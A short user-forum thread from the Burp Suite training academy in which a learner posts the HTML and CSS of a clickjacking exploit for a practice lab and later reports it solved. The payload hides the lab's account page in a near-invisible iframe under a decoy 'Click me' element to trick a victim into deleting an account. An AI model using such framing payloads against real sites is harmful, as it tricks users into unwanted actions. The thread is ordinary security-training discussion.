Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Clickjacking Lab # 1

Francesco | Last updated: Feb 25, 2022 11:37AM UTC

Hi, I aligned the "Test me" button to the div containing the "Delete Account" button perfectly, then stored and delivered the exploit to the victim, but the lab is not solved. Following is the code I used: <style> iframe { position:relative; width:100%; height: 100%; opacity: 0.0001; z-index: 2; } div { position:absolute; top:535; left:380px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://<lab-id>.web-security-academy.net/my-account"></iframe> Any suggestion please? Thank you.

Francesco | Last updated: Feb 25, 2022 11:45AM UTC

Solved.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.